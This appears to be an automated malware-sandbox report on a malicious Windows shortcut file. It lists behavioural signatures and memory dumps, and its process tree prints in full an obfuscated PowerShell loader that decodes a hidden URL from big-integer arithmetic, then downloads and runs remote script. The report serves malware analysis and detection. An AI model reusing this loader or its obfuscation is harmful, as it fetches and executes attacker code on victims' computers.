Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
29/07/2026, 11:42
General
- Target photov_183117091485.lnk
- Size 2KB
- Sample260729-nvgrragb53
- SHA256 66d8da0dd81bd28073abd9baeaa29fc0a04fb4d6887f2db77276c066bb06a8d9
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_183117091485.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$exe75=4;$v_sqtmt=60;$zqbfn=[bigint]::Parse('74428883166400785654130344696583343985873605');$miirl9x=[bigint]::Parse('74428882573233695196031377501526074837036892');$zqbfn=$zqbfn-$miirl9x;$ttn84rqumn=@();while($zqbfn -gt 0){$ttn84rqumn+=[char][int]([bigint]::Remainder($zqbfn,256));$zqbfn=[bigint]::Divide($zqbfn,256)};.([scriptblock]::Create((irm(-join$ttn84rqumn))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$exe75=4;$v_sqtmt=60;$zqbfn=[bigint]::Parse('74428883166400785654130344696583343985873605');$miirl9x=[bigint]::Parse('74428882573233695196031377501526074837036892');$zqbfn=$zqbfn-$miirl9x;$ttn84rqumn=@();while($zqbfn -gt 0){$ttn84rqumn+=[char][int]([bigint]::Remainder($zqbfn,256));$zqbfn=[bigint]::Divide($zqbfn,256)};.([scriptblock]::Create((irm(-join$ttn84rqumn))))"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_1kava3r1.ysv.ps1
memory/3756-1-0x0000025AD8FA0000-0x0000025AD8FB0000-memory.dmp
memory/3756-0-0x0000025AD8FA0000-0x0000025AD8FB0000-memory.dmp
memory/3756-2-0x0000025AC0890000-0x0000025AC08B2000-memory.dmp
memory/3756-10-0x0000025AD8FA0000-0x0000025AD8FB0000-memory.dmp
memory/3756-11-0x0000025AD8FA0000-0x0000025AD8FB0000-memory.dmp
memory/3756-12-0x0000025ADB020000-0x0000025ADB23C000-memory.dmp
memory/3756-14-0x0000025AD8FA0000-0x0000025AD8FB0000-memory.dmp
memory/3756-17-0x0000025ADB020000-0x0000025ADB23C000-memory.dmp